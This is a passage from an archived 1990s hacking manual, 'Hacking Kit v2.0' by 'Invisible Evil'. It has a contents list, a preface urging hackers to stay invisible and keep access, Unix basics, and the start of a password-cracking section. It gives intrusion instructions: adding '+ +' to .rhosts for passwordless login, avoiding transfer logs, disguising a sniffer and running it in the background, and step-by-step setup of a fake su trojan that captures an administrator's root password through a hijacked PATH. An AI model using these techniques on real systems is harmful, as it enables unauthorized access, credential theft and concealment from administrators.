home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / Hacking / hackkit.sit / hackkit
Text File  |  1998-07-15  |  246KB  |  7,513 lines

  1.  
  2. THIS PAPER CONTAINS .C CODE - MAKE SURE TO TURN WORD WRAP OFF! In your editor!!
  3. AND DO NOT SAVE ANY CHANGES TO THIS FILE IF ASKED....
  4.  
  5. Unix Utils
  6. Linux/BSD/SySV/SunOS/IRIX/AIX/HP-UX
  7.  
  8. Hacking Kit v1.0.c Jan/97
  9. Hacking Kit v2.0.b March/97  (this is an update)
  10.  
  11.   By: Invisible Evil
  12.  IRC: #unixhacking #virus #hackers #virii #hacking #hacker
  13.       #hack is just to busy for me ;)
  14. NICK: i-e
  15.  
  16. If you have any other exploits, bugs, sniffers or utils that are not in here
  17. please mail them to ii@dormroom.pyro.net. And I will be sure to keep you
  18. updated with the latest version of this toolkit.
  19.  
  20. Comments are welcome.  Sys admin's that want to keep their system clean are
  21. welcome to request the latest version.
  22.  
  23. If you are looking for perfect grammar or spelling please put this file in
  24. your circular file.  I put enough time into this and just put it through
  25. a cheap spell check.
  26.  
  27. Whats new?  Look for more info on tricks of the trade, and nfs mounting
  28. drives to gain access to shells.  I am sure you will like the additions.
  29. I have added a login trojan, in.telnetd trojan, and some more scripts for
  30. scanning machines for mountable drives.  Have pun!
  31.  
  32.  
  33. I will add a (*)  to  u p d a t e d  s e c t i o n s.
  34.  
  35.  
  36. Contents:
  37.  
  38. Disclaimer
  39. Preface
  40.  
  41. Chapter I - Unix commands you need to know
  42.  
  43.     1A. Basic commands
  44.         Getting back to your home directory
  45.         getting into a user home directory easy
  46.         how to see what directory you are in now
  47.         How to get a complete manual for each command
  48.     1B. Telnet
  49.         Unix file permissions
  50.         Unix groups
  51.         How to change permissions and groups
  52.     1C. Rlogin
  53.         .rhosts
  54.         How to setup a .rhost file to login without a password
  55.     1D. FTP
  56.         Logging in to the site, but never out of the site.
  57.         Using prompt, hash, and, bin
  58.         Using get, put, mget, and, mput
  59.     1E. GCC (unix compiler)
  60.         How to get the file to the hack box without uploading it
  61.         How to copy files to your home directory easy
  62.         How to compile .c programs
  63.         How to name them what you want
  64.         How to load programs in the background while you log off
  65.         Looking at your process with ps
  66.  
  67. Chapter II - Getting started (your first account)
  68.  
  69.     2A. Cracking password files
  70.         How to get hundreds of accounts with your first hacked account
  71.         Why you only really need one password cracked on a system
  72.         How to get the root password from the admin, on an non-exploit system
  73.         Using A fake su program
  74.         Doc's for the fake su program
  75.         How to find the admin's
  76.         How to read .bash_history
  77.         Cracker Jack - A good password cracker
  78.         How to use crackerjack
  79.         Word Files
  80.         What you will need to get started
  81.         Hashing the word files
  82.       * Hash file for use with cracker jack and your word list
  83.       * Hash file for use with cracker jack and your passwd file
  84.     2B. Talking to newbe's
  85.         How to find the newbe's
  86.         How to get the newbe's passwords
  87.     2C. The hard way
  88.         Using finger @
  89.         What could the password be?
  90.         Getting more info from finger
  91.         a small .c file to use if you get on
  92.         Writing a small perl script to do the work for you.
  93.         How to get a domain list of all domains from rs.internic.net
  94.         A perl script to rip the domains & put them in a sorted readable list
  95.         How to execute the perl script
  96.  
  97.   * 2D. Using mount to gain access to unix systems
  98.       * What is nfs mount
  99.       * What you need to get started
  100.       * How to check a system to see if you can mount their drives
  101.       * A script to scan for systems that are nfs mountable
  102.       * How to mount the system
  103.       * How to unmount the system
  104.       * A Live Demo
  105.       * Mounting the drive
  106.       * Viewing the user directories
  107.       * Editing the local machine's passwd file
  108.       * How to put a .rhosts file in one on thier users directories
  109.       * How to rlogin to the users account
  110.  
  111. Chapter III - Getting password files
  112.  
  113.     3A. PHF
  114.         What is phf
  115.         Using lynx or netscape to access phf
  116.         Finding the user id the victims httpd (www) is running under
  117.         How to see if you are root using phf
  118.         How to cat the password file using phf
  119.         Backing up the victims password file
  120.         Changing a users password using phf
  121.         Restoring the old passwords
  122.         A .c file that will let you pipe commands to phf from your shell
  123.         How to use the phf shell file
  124.         Another way to use phf - text by quantum
  125.         Quantum's bindwarez file
  126.         A perl script that will try EVERY domain on the internet and log
  127.         root access and snatch passwd files for you all day in the background.
  128.         Doc's for the pearl script above
  129.         Getting accounts from /var/?/messages
  130.         A script to get the passwords for you if you can access /var/?/messages
  131.     3B. Newbe's
  132.         Lammer's
  133.     3C. Getting shadow passwd files
  134.         What is a shadow passwd
  135.         Getting the shadow file without root access
  136.         A .c file to cat any file without root access
  137.     3D. Getting /etc/hosts
  138.         Why get /etc/hosts
  139.  
  140. Chapter IV - Getting the root account
  141.  
  142.        What to do if you can't get root on the system
  143.    4A. Bugs
  144.        Intro
  145.    4B. Exploits
  146.        The umount/mount exploit
  147.        What are SUID perm's
  148.        The umount .c file
  149.        How to compile umount.c
  150.        The lpr Linux exploit
  151.        The lpr Linux .c exploit file
  152.        The lpr BSD .c exploit file
  153.        How to use lpr
  154.        Watch the group owners with lpr
  155.        Just use lpr for first root, then make a SUID shell
  156.        How to make the SUID root shell for future root access (root root)
  157.        The splitvt exploit
  158.        The splitvt exploit .c program
  159.        How to use the splitvt exploit program
  160.        The sendmail 8.73 - 8.83 root exploit shell script
  161.        How to use the sendmail exploit to get root access
  162.  
  163.  
  164. Chapter V - Making yourself invisible
  165.  
  166.        Keeping access
  167.    5A. Zap2 (for wtmp/lastlog/utmp)
  168.        Fingering the host before login
  169.        How to login and stay safe
  170.        How to configure Zap2
  171.        Finding the log file locations
  172.        The zap.c file
  173.    5B. Other scripts
  174.        The wted wtmp editor
  175.        Command line usage for wted
  176.        How to chmod the wtmp.tmp file
  177.        How to copy the wtmp.tmp to the wtmp file
  178.        Setting the path for the wtmp file in wted
  179.        The wted.c file
  180.        Cleaning the lastlog file using lled
  181.        Command line options for lled
  182.        How to use lled
  183.        How to chmod the lastlog.tmp file
  184.        How to copy the lastlog.tmp file to lastlog
  185.        Setting the path for the lastlog file in lled
  186.        The lled.c file
  187.      * A good perl script for editing wtmp, utmp, and, checking processes
  188. Chapter VI - Cleaning the log files
  189.  
  190.    6A. A walk around in a hacked system - let's login
  191.        Logging on the system
  192.        Watching for admin's
  193.        Nested directories
  194.        Having your root file ready
  195.        Becoming invisible
  196.        Greping the log directory
  197.        Cleaning the logs
  198.        Lets sniff the network
  199.        Editing your linsniffer.c
  200.        Looking at the processes running
  201.        Compiling and naming your sniffer program
  202.        Starting a sniff session
  203.        Changing group file access
  204.        Making a suid root shell trojan for uid=0 gid=0 every time
  205.        Naming your trojan
  206.        Touching the files date
  207.        Checking the sniffer log file
  208.        Setting the history files to null
  209.      * Using unset for the history files
  210.    6B. messages and the syslog
  211.        How to find the logs are by reading /etc/syslog.conf
  212.        How to see if there are logs in hidden directories
  213.        How to see if logs are being mailed to user accounts
  214.        How to see if logs are going to another machine
  215.      * How to edit syslog.conf to hide logins
  216.      * Restarting syslogd
  217.        How to see if there is a secret su log by reading /etc/login.defs
  218.    6C. The xferlog
  219.        How to edit the xferlog
  220.        How to grep and edit the www logs
  221.        How to look for ftp logs
  222.      * Other ways to edit text logs
  223.      * Using grep -v
  224.      * A script to rip text lines from these logs
  225.      * Restarting syslogd
  226.    6D. The crontabs
  227.        How to find and read the root or admin's cron
  228.        How to see if MD5 is setup on the machine
  229.        What is MD5
  230.  
  231. Chapter VII - Keeping access to the machine
  232.  
  233.    7A. Tricks of the trade
  234.        When the system admin has found you out
  235.        What to expect from the admin
  236.        History files
  237.        Nested directories
  238.        Placing trojans
  239.        Hidden directories
  240.        Making new commands (trojans)
  241.        Adding or changing passwd file entry's
  242.        Setting some admin accounts with null passwords
  243.        The best way to add an account
  244.        Editing a null account so you can login
  245.        Installing more games or exploitable programs
  246.        How to know your admin's
  247.        Reading system mail (with out updating pointers)
  248.        What to look for in the mail directories
  249.        A program to read mail without updating pointers
  250.    7B. Root kits and trojans
  251.        What are root kits
  252.        What are Demon kits
  253.        What do trojans do
  254.  
  255.  
  256. *********************************************************
  257. * Appendix I - Things to do after access                *
  258. *********************************************************
  259.   The a-z checklist
  260.  
  261. *********************************************************
  262. * Appendix II - Hacking / Security WWW / ftp sites      *
  263. *********************************************************
  264.  
  265. *********************************************************
  266. * Appendix III - More exploits for root or other access *
  267. *********************************************************
  268.  
  269. A3-01. Vixie crontab buffer overflow for RedHat Linux
  270. A3-02. Root dip exploit
  271. A3-03. ldt - text by quantumg
  272. A3-04. suid perl  - text by quantumg
  273. A3-05. Abuse Sendmail 8.6.9
  274. A3-06. ttysurf - grab someone's tty
  275. A3-07. shadow.c  - Get shadow passwd files
  276. A3-08. Abuse Root Exploit (linux game program)
  277. A3-09. Doom (game) root exploit - makes suid root shell
  278. A3-10. dosmenu suid root exploit
  279. A3-11. Doom root killmouse exploit
  280. A3-12. Root exploit for resize icons
  281. A3-13. Root console exploit for restorefont
  282. A3-14. Root rxvt X server exploit
  283. A3-15. Root wuftpd exploit
  284. A3-16. A shell script called gimme, used to read any system file
  285.  
  286. *********************************************************
  287. * Appendix IV - Other UNIX system utilities             *
  288. *********************************************************
  289.  
  290. A4-01. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX
  291. A4-02. invisible.c  Makes you invisible, and works on some SunOS without root
  292. A4-03. SySV Program that makes you invisible
  293. A4-04. UNIX Port scanner
  294. A4-05. Remove wtmp entries by tty number or username
  295. A4-06. SunOS wtmp editor
  296. A4-07. SunOS 4+ Zap your self from wtmp, utmp and lastlog
  297.  
  298.  
  299. *********************************************************
  300. * Appendix V - Other Unix Exploits                      *
  301. *********************************************************
  302.  
  303. A5-01. HP-UX Root vhe_u_mnt exploit
  304. A5-02. IRIX Root mail exploit
  305. A5-03. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX
  306. A5-04. IRIX mail exploit to make you any user on the machine - BUT NOT root
  307. A5-05. BSD - crontab root exploit
  308.  
  309. *********************************************************
  310. * Appendix VI - UUENCODED FILES                         *
  311. *********************************************************
  312.  
  313. 1. Quantum's Bindwarez binary file for PHF
  314. 2. Demon Root Kit - Includes: Banish, DemonPing, DemonSu, DemonTelnet
  315. 3. Linux Root Kit - Includes: Login, Netstat, and, PS
  316. 4. The Fake SU Program
  317.  
  318. **********
  319. Disclaimer
  320. **********
  321.  
  322. True this manual will aid hackers into breaking into systems but it is also
  323. provided to guide system admin's on different security problems and help
  324. with things to watch for on their system to keep hackers off.
  325.  
  326. If you use this manual to gain access to any system where you do not belong,
  327. and do any type of damage, you alone will suffer for your stupid actions!
  328.  
  329. I am not telling you to break into any system, I am just showing some of
  330. my experience, and things that I would do if I was to break into my own system.
  331.  
  332. This is for information only.....
  333. ISP's Secure Your Systems!
  334.  
  335. *******
  336. Preface
  337. *******
  338.  
  339. Ok, lets get started.  If you are going to hack, you must be doing this for a
  340. reason.  All hackers have their reasons for doing what they do.  Most are just
  341. hungry to learn.  Most of what I have learned about unix, i have learned on
  342. some service providers or someone else's machine.  I am one for the 'hands on'
  343. experience.  There is much to learn and you would have to read 20,000 books
  344. just to get what you would learn out of a few config files, a few admin email
  345. messages, some .bash_history files, and some poking around a few systems.
  346.  
  347. Here in this manual you should learn how to be the 'complete hacker' and come
  348. up with a style of your own.  It will not take to long, but it will take some
  349. practice and experience before you will be able to call yourself a hacker.
  350.  
  351. Not just anyone that can crack a password file, and log into a unix machine
  352. can call themselves a hacker.  Ok, you can get root access to a box!  You still
  353. are not a hacker!  You need to know why you are a hacker first, and then have
  354. your 'code' and 'style'.  You need a purpose and a reason for hacking into any
  355. box.  The true hacker knows why he is doing what he does, and is doing it for
  356. reasons like knowledge, free information, and ACCESS. The true hacker will
  357. turn one hack into access to many different systems and providers and keep this
  358. access for future learning and more FREE information.
  359.  
  360. The wan-a-be hacker will not be invisible, and will do many stupid things like:
  361. delete or corrupt data, down the machine, run bots or irc clients from root
  362. accounts or machines Give the passwords he cracked to everyone in the world
  363. to prove they can hack. Or they might just do stupid things that will get
  364. themselves cought.  I think sometimes this is done purposely just to draw
  365. attention to themselves so they can get cought and make the announcement that
  366. they are a hacker, and they were here!  A real hacker needs no such glory,
  367. he just needs the access and wants to keep it and be invisible! He will not
  368. tell many friends about the system, he will not give out the passwords or
  369. accounts, he will keep others off so he can continue his access there and
  370. keep it clean.
  371.  
  372. Here in this manual i hope that i can add enough style so that you can have
  373. real heart in this matter and and be a good clean hacker.
  374.  
  375. Happy hacking ...
  376.  
  377. --------------------------------
  378. Chapter I
  379.  
  380. Unix commands you need to know.
  381. --------------------------------
  382.  
  383. There are just a few basic commands you need to learn, and then some unix
  384. programs that will aid you in logging in logging into or keeping access to
  385. the machine.
  386.  
  387. Call your local internet service provider and ask them to sell you a shell
  388. account so that you will have something to practice on to learn these
  389. basic commands.  The average shell account might cost you $10.00 per month
  390. if you don't already get one with your existing account.
  391.  
  392. --------------
  393. Section 1A
  394.  
  395. Basic commands
  396. --------------
  397.  
  398. I hope you have a basic knowledge of DOS, that would help a bit, and I will
  399. assume that you already do in writing this manual.
  400.  
  401. DOS Commands you are used to first:
  402.  
  403. REMEMBER: unix is case sensitive, so if I here use lower case you must also,
  404. if I use a space you must also.  DOS will let you get away with allot of things
  405. but unix will not!
  406.  
  407. DIR/W      = ls
  408. DIR        = ls -l
  409. DIR/AH     = ls -al  AH=(hidden) -al=(include hidden files as well as regular)
  410. RENAME     = mv
  411. ATTRIB     = chmod
  412. MD         = mkdir
  413. RD         = rmdir
  414. DEL        = rm
  415. COPY       = cp
  416.  
  417. These are the basic commands, i suggest that you lookup the man pages
  418. on each one of these commands from your unix shell.  You would do this by
  419. typing 'man command' without the ''.
  420.  
  421. each one of these commands will have switches for them, like cp -R to copy
  422. files and directories.  So you would type man cp to get all of the switches
  423. you can use with the copy command.
  424.  
  425. cd {then press enter} will always take you to your home directory
  426. cp filename $HOME will copy the file to your home directory
  427. cd ~username will take you to that users home dir if you have access to be
  428.    there
  429. pwd {press enter} will show you what directory you are in.
  430.  
  431. -------------
  432. Section 1B
  433. Telnet
  434. -------------
  435.  
  436. Telnet is a command that you can use from a shell account, or from an exe
  437. file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems
  438. that will let you connect to another machine on the net.  There are other
  439. programs you will learn about here like FTP, and rlogin that you can use as well
  440. but now we will use telnet.
  441.  
  442. You can use telnet if you know the IP address or the host name you want to
  443. connect or login to.  To use the command you would just use the telnet program
  444. to connect to the IP or host like this:
  445.  
  446. Telnet netcom.com  or  telnet 206.146.43.56
  447.  
  448. Ok, now lets login:
  449.  
  450. telnet machine.com
  451.  
  452. trying .....
  453.  
  454. Connected to machine.com
  455.  
  456. Linux 2.0.28 (machine.com) (ttyp0)
  457.  
  458. machine login:username
  459. password:#######
  460.  
  461. bash$
  462.  
  463. Your prompt might look different, but we will use this one.
  464.  
  465. Notice above that it will tell you the O/S when you get the login prompt.
  466. You can use this if you get a large collection of passwd files.  Even before
  467. going on to crack them sort them by O/S types by just telnet-ing to them to
  468. see what they are running.  There are other ways, but lets keep this telnet
  469. topic going for a sec... telnet domain.name.com, after you see what they are
  470. running make a note of this and ctrl ] to break out of the connection.
  471.  
  472. Put all of your linux passwd files into a pile to be cracked first.  All we
  473. need is one account that works for the system, and we can be almost sure
  474. we will have root on that machine!  There are way to many holes in linux to
  475. think we will not be able to own one of those machines, so lets get to work so
  476. we can start this wonderful world of hacking.
  477.  
  478. ----------------------
  479. Unix File Permissions
  480. ----------------------
  481.  
  482. bash$
  483.  
  484. bash$ cd /tmp
  485. bash$ ls -l
  486. total 783
  487. -rwx------   1 wood     users           1 Jan 25 18:28 19067haa
  488. -rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
  489. -rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
  490. -rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
  491. drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens
  492.  
  493. First notice that we used a / and not \ to change to the tmp directory! Unix
  494. uses the / as the root so it is backwards from DOS here.
  495. Notice we did ls -l for the long directory. If we did 'ls' we would have what
  496. you see below.
  497.  
  498. bash$ ls
  499. 19067haa      filter.14428  pop3a13598    pop3a13600    screens
  500.  
  501. With what we see here can not tell much, so most of the time we will be
  502. using ls -al with the -al we will see the hidden files also, hidden
  503. files and directories will always start with a '.'.  Now watch:
  504.  
  505. bash$ ls -al
  506. total 794
  507. drwxrwxrwt   4 root     root         8192 Jan 25 23:05 .
  508. drwxr-xr-x  22 root     root         1024 Dec 28 18:07 ..
  509. -rw-r--r--   1 berry    users           6 Jan 25 23:05 .pinetemp.000
  510. drwxr-xr-x   2 berry    users        1024 Jan 25 23:05 .test
  511. -rwx------   1 wood     users           1 Jan 25 18:28 19067haa
  512. -rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
  513. -rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
  514. -rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
  515. drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens
  516.  
  517. .pinetemp.000 is a hidden file, and .test is a hidden directory.
  518.  
  519. -rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
  520.  
  521. row 1          row2     row3
  522. ----------------------------
  523.  
  524. Now here we need to learn about permissions, users, and groups.
  525.  
  526. Row #1 is the file permissions
  527. Row #2 is who owns the file
  528. Row #3 is the group owner of the file
  529.  
  530. File permissions are grouped together into three different groups.
  531. If the line starts with a d, it is a directory, if there is no d, it is a file.
  532.  
  533. - --- --- ---
  534. | |   |   |--------> Other = anyone on the machine can access
  535. | |   |------------> Group = certain groups can access
  536. | |----------------> User  = only the owner can access
  537. |------------------> Directory Mark
  538.  
  539.  
  540.  
  541. - rw- r-- r--
  542. | |   |   |--------> Other can only read the file
  543. | |   |------------> Group can only read the file
  544. | |----------------> User  can read or write to the file
  545. |------------------> It is not a directory
  546.  
  547.  
  548. - rwx rwx r-x
  549. | |   |   |--------> Other can read and execute the file
  550. | |   |------------> Group can read write and execute the file
  551. | |----------------> User  can read write and execute the file
  552. |------------------> It is not a directory
  553.  
  554.  
  555. The owner is the user name in row #2 and the group owner is the name in row #3.
  556. In DOS the file has to have a .exe, .com, or .bat extension to execute, but in
  557. unix all you need is the --x in your group of user, other, group
  558.  
  559. You can change these permissions if you own the file or have root access:
  560.  
  561. ---------------------------------------------------------------------------
  562. chmod oug+r filename will make all three groups of permissions be able to
  563. read the file.
  564.  
  565. chmod og-r filename would make the file readable only to the user that owns
  566. the file.  (notice the - or + to set the file yes or no)
  567.  
  568. chmod +x filename would make the file execute by all.
  569.  
  570. chown username filename would make the file owned by another user.
  571. chgrp groupname filename would make the file owned by another group.
  572. ---------------------------------------------------------------------------
  573.  
  574. Make sure to keep file perm's and groups the same or you will be sniffed
  575. out and booted from the system.  Changing configs on the system might only
  576. break other functions, so keep your paws off or you are just asking to get
  577. cought.  Only do what you are *SURE* of.  Only use commands that you know,
  578. you might find yourself spending hours fixing just one typo like
  579. chown -R username /* could keep you busy for a year ;)
  580.  
  581. Just be careful!
  582.  
  583. We will get into this stuff more as we go into the needs for this.
  584.  
  585. ------------------
  586. Section 1C Rlogin
  587. ------------------
  588.  
  589. There is another command you might use and we will get into this elsewhere
  590. as we get into using rlogin to login to a system without a password.
  591.  
  592. For now read the man pages on rlogin by using the man rlogin from your
  593. shell account.
  594.  
  595. The basic command would be :
  596.  
  597. rlogin -l username hostname
  598. connecting....
  599. password:
  600.  
  601. bash$
  602.  
  603. Rlogin requires the user to have a file in their home directory that tells
  604. what system they can receive the rlogin from.  In this file .rhosts it would
  605. look like this:
  606.  
  607. username hostname (or) hostname
  608.  
  609. if you were to add to this file   + +   it would let any user from any host
  610. login without a password.
  611.  
  612. The file would look like this:
  613.  
  614. ----- cut here ------
  615. + +
  616. _____ cut here ------
  617.  
  618. if they already had entry's you could add the + + under their host names, but
  619. remember now they would notice seeing they would now be able to rlogin
  620. without the password.  You would be targeting people that did not
  621. already have a .rhosts file.
  622.  
  623. ---------------
  624. Section 1D FTP
  625. ---------------
  626.  
  627. Another way to login will be FTP.  You can use a windows client, or just
  628. login from a shell.
  629.  
  630. ftp ftp.domain.com
  631.  
  632. This will allow you to download or upload files to the site you are hacking.
  633. Just make sure to edit the xferlog (see section 6d) to wipe your tracks
  634. on the system.  Remember NEVER to ftp or telnet out of the hacked system, only
  635. log into it!  If you are coming from your own system, or from another hacked
  636. account you might just be giving your login and password to the system admin
  637. or another hacker on their system.  There could be a telnetd or ftpd trojan
  638. loaded on the system, or even a sniffer.  Now you would have just gave someone
  639. your login id and password.  And if this was the system admin, he might have
  640. the idea that revenge is sweet ;)
  641.  
  642. Using ftp from the shell, I would suggest using a few commands:
  643.  
  644. After you login, and have your prompt, type these commands
  645. pressing enter after each one.
  646.  
  647. prompt
  648. hash
  649. bin
  650.  
  651. prompt will allow you to type a command like (mget *) or (mput*) and transfer
  652. an entire directory without having it prompt you for each file yes or no.
  653.  
  654.                hash marks
  655. hash will put ############ on the screen so you can see the transfer
  656. is still moving and at what speed.
  657.  
  658. bin will make sure you get the files in the right mode, and if transferring
  659. binary files, you will be sure they will uncompresses.
  660.  
  661. The transfer commands are easy, get filename, or, put filename, or for many
  662. files you can use regular wild cards with mput  or mget.
  663.  
  664. --------------------
  665. Section 1E
  666. GCC compiler
  667. --------------------
  668.  
  669. There will be a time when you will need to compile a .c file.
  670.  
  671. It is best to compile on the machine you are working on.  So upload or copy
  672. and past the files to the hacked box and compile them there.  If you have
  673. problems with their compiler you can try to upload pre-compiled files.
  674.  
  675. One way to get the file up to the victims machine would be to use copy
  676. and paste.  Get a good tsr or windows shareware program to do this if
  677. you do not have any way to do it now.  You can copy a script file from
  678. one window and paste it into an editor on the victims machine, and then compile
  679. the new file.  Walaa... no upload log of the file.  You can copy and paste
  680. from the victims machine as well so that there are no download logs of ascii
  681. files.
  682.  
  683. To copy and paste you can just open an editor on the hacked box, and then copy
  684. from your other session, and paste your script into the editor and save the
  685. file.  This way there will not be anything in the xferlog yet.
  686.  
  687. You can do the same thing with the password file.  If you do decide to
  688. download the password file using ftp, make sure to copy it to your home
  689. directory first under a different name.
  690.  
  691. bash:/etc:> cp passwd $HOME/plog  would copy the file called passwd from the /etc
  692. directory you were in, to your home directory in a file called plog instead of
  693. passwd.  Admin's grep the xfer logs looking for who is downloading the passwd
  694. file.
  695.  
  696. Another way to get file to or from the box without showing up in the logs
  697. would be to open an irc session on the victims machine, then from your other
  698. session where you are already a user on irc, send the files using dcc.
  699.  
  700. The command to send the files would be /dcc send <nick> <filename>
  701. The command to get the file on the other side would be /dcc get <nick> <file>
  702.  
  703. It would be nice if you had a bot loaded on the irc when you were hacking so
  704. that you could just send files to the bot and have it auto receive them.
  705.  
  706. A 'bot' is a robot program that you can load in the background on your shell
  707. account that will receive files, keep channels open, etc...
  708.  
  709.  
  710. The GCC compiler is easy...
  711.  
  712. gcc filename.c -o filenameyouwant
  713.  
  714. If i was to compile a file called z2.c that would zap the log files i would
  715. type this:
  716.  
  717. gcc z2.c -o zap
  718.  
  719. This would give me a file that would exe, called zap
  720.  
  721. If I just typed : gcc z2.c  I would have a file named a.out, that was the executable
  722. file and would have to rename it to zap, or some name i would know by doing
  723. this: mv a.out zap
  724.  
  725. Now I would have a file named zap that was executable instead of a.out.
  726.  
  727. You will want to make sure you are not naming these files names that sys admin's
  728. will know.  If you had a sniffer file called 'linuxsniffer.c' you don't
  729. want to keep the same name ;) call it something like:
  730.  
  731. gcc linuxsniffer.c -o lsn
  732.  
  733. Remember also sometimes you can execute these files names right in the directory
  734. by just typing the file name like for our 'lsn' (sniffer) above just by
  735. typing lsn.  But sometimes this will not work unless you add a ./ to the
  736. command.  So remember, sometimes you will need to type ./lsn  or your file
  737. name.
  738.  
  739. Also there will be a time you will want a program to run in the background
  740. even after you logoff.  Like in the case of the sniffer above.  In this case
  741. you might want to name your sniffer something that would not be so easy
  742. noticed.  Use your own style here.  BUT to make it stay in the background while
  743. you are off the system you need to run the command with a & after the command.
  744.  
  745. lsn&
  746.  
  747. If you were to just type lsn, your screen would pause, and you would not be
  748. able to type while the program was sniffing, but if you typed lsn& it would
  749. load and the system prompt would come right back to you.  Also the system
  750. would let you know it was loaded by giving you the process id # that it
  751. was loaded as.
  752.  
  753. You could view the process with the ps -x command, you might want to run
  754. ps -auxe |more
  755.  
  756. a= all
  757. u= show user
  758. x= yours
  759. e= env
  760.  
  761. some machines
  762. f=tree
  763. or command: pstree
  764.  
  765. ------------------------------------
  766. Chapter II
  767. Getting started (your first account)
  768. ------------------------------------
  769.  
  770. There are many ways to get a starter account. I will go into each area to
  771. help you get started.  All you need is one good account to spawn off to
  772. hundreds of accounts.  Think of this; You get one good exploitable system,
  773. most any linux machine ;)
  774.  
  775. Now you get root access and load a sniffer program.  The TCP sniffer will
  776. search out any login process on the network and log the login and password
  777. for any telnet, ftp, or dial-in session going out or coming into the system.
  778.  
  779. Now even if it is a small ethernet connection you have around 100 passwords
  780. for a few machines or domains.  If a larger net provider you have hundreds
  781. of accounts all over the world!  All you need for this is one good account
  782. and password to an exploitable system.  If it seems you can not exploit
  783. root on the system, this might be a good system to crack passwords on and
  784. exchange the accounts for other accounts from hackers or irc users that are
  785. looking to load a bot but do nt have the shell account or disk space to do
  786. it.  NEVER give out even one password to a system you exploited root on.
  787. Keep these systems to yourself!
  788.  
  789. Lets now get into ways to get your first accounts.
  790.  
  791. ------------------------
  792. Section 2A.
  793. Cracking passwd files
  794. ------------------------
  795.  
  796. If you are hacking with the right frame of mind, you will run the crack
  797. program until you get one good account that will let you into the system.
  798.  
  799. You will login and see if you can exploit root on the system, if so, get root,
  800. get the files you need to use into your nested directory, and erase your
  801. presence, and clean all of the logs.  Now you are ready to load your sniffer.
  802.  
  803. Why go on hacking passwords for a system that within 24 hours you will have
  804. most of the passwords anyway?  Not only for the machine you just hacked, but
  805. other machines that were connected to as well.  If the system is not
  806. exploitable don't even waste your time on it, go on to the next.  At a latter
  807. date if you want to crack passwords for accounts to trade go ahead.
  808.  
  809. If you get an admin's account cracked you might want to read his history files,
  810. and see if he is using the su command to access root allot.  If he is you can
  811. use an su trojan on him.  This will get you the root password.  This works like
  812. this:  You change his shell script so that a hidden directory (.term) is good,
  813. is set in the search path before all other directories.  You put a fake su
  814. binary in the .term (or other) directory.  He types su, everything looks good
  815. to him, he types in the root password when prompted, the password id copied to
  816. a log file in /tmp/.elm69, and deletes the trojan su file, and returns to him a
  817. password error telling him to try again.  He thinks he must have done something
  818. wrong and runs su again, but this time the real one and logs in.
  819.  
  820. You will find this fake su program in the last appendix named uuencoded files.
  821.  
  822. Here are the docs:
  823.  
  824. Fake SU by Nfin8 - i-e
  825.  
  826. IRC: /msg i-e
  827.  
  828. Easy as 1,2,3 ...
  829.  
  830. 1. Change the path in one of the user accounts that you have access to that
  831. you see is using SU from reading their history files, to hit a path first
  832. that you have placed the su trojan file into.  .term or .elm is good!
  833.  
  834. 2. Make sure to edit the top of the su.c file to the path you will be using
  835. so that the sutrojan will delete isself and let the real SU work for the
  836. second try.
  837.  
  838. 3. Put all of the files in the target directory and compile the su.c file.
  839.  
  840. gcc su.c -o su
  841.  
  842. Then delete all of the files but the su.  All done!
  843.  
  844. .bash_profile might look like this:
  845.  
  846. # .bash_profile
  847.  
  848. # Get the aliases and functions
  849. if [ -f ~/.bashrc ]; then
  850.         . ~/.bashrc
  851.                 fi
  852.  
  853. # User specific environment and startup programs
  854.  
  855. PATH=$PATH:$HOME/bin
  856. ENV=$HOME/.bashrc
  857. USERNAME=""
  858.  
  859. export USERNAME ENV PATH
  860.  
  861. You change the first line to: PATH=$HOME/.term:$PATH:$HOME/bin
  862.  
  863.  
  864. When the sys admin run's 'SU' it will run the SU-trojan in the .term
  865. directory first and report that the password he typed was wrong, the
  866. Trojan su program would have put a hidden file in the /tmp directory for
  867. you that contains the root password (or account passwd) typed.  If it was
  868. an account rather then the root password it will let you know the account
  869. name. Then the trojan su program deletes itself so that the next try will
  870. get the real su program.
  871.  
  872.  
  873. You can find the admin's at the top section of the passwd file in the /etc
  874. directory.  Just type :  more passwd
  875.  
  876. You can be sure that the first two real accounts made in the passwd file are
  877. admin's, also sometimes you can find others by where their directories are
  878. located in the password file.  Like /staff/username.
  879.  
  880. The history files are in each users account directory.  You can read these to
  881. see what the last commands were that were typed by the user.  Sometimes as
  882. much as the last 100+ commands.  Look for the file .bash_history, or History,
  883. you can read these using more.  command: more .bash_history, or most times to
  884. keep your typing you can type : more .b*  (or) just type : more .b (and then
  885. hit the tab key on your keyboard).
  886.  
  887. Ok so now you need a good password cracking program. You can see in the next
  888. chapter on how to get password files from systems that you do not have an
  889. account on, but it is catch 22, you need the password cracking program too.
  890.  
  891. There are three things that you will need.
  892.  
  893. 1. Password cracking program
  894. 2. Good word files
  895. 3. Password files
  896.  
  897. The best password cracking program to start would be crackerjack.  You can
  898. search the web and find this easy as 1,2,3.  Download it and you are ready
  899. to go.  If you are a bit more advanced you can download a cjack for unix and run
  900. it in a shell.  But if you are just getting started get the DOS/OS/2 version.
  901.  
  902. Also search for some good word files.  The best word files are the names.
  903. You will find that most unsecured passwords out there are guy's girlfriends
  904. names, of girls boyfriends names ;)  You will find word files like
  905. 'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords'
  906. hackersdict' and other like these to be the best.
  907.  
  908. Load crackerjack like this:
  909.  
  910. [D:\jack]jack
  911.  
  912. Cracker Jack version 1.4 for OS/2 and DOS (386)
  913. Copyright (C) 1993, The Jackal, Denmark
  914.  
  915. PWfile(s) : domain.com.passwd
  916.  
  917. Wordfile  : domain.com.passwd
  918.  
  919. Like above run the password file as the wordfile first.  This will get you all
